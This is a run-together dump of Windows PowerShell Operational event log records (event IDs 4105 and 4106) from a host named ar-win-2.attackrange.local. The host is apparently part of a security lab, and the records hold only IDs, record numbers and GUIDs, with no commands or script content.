410615103150x0674715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 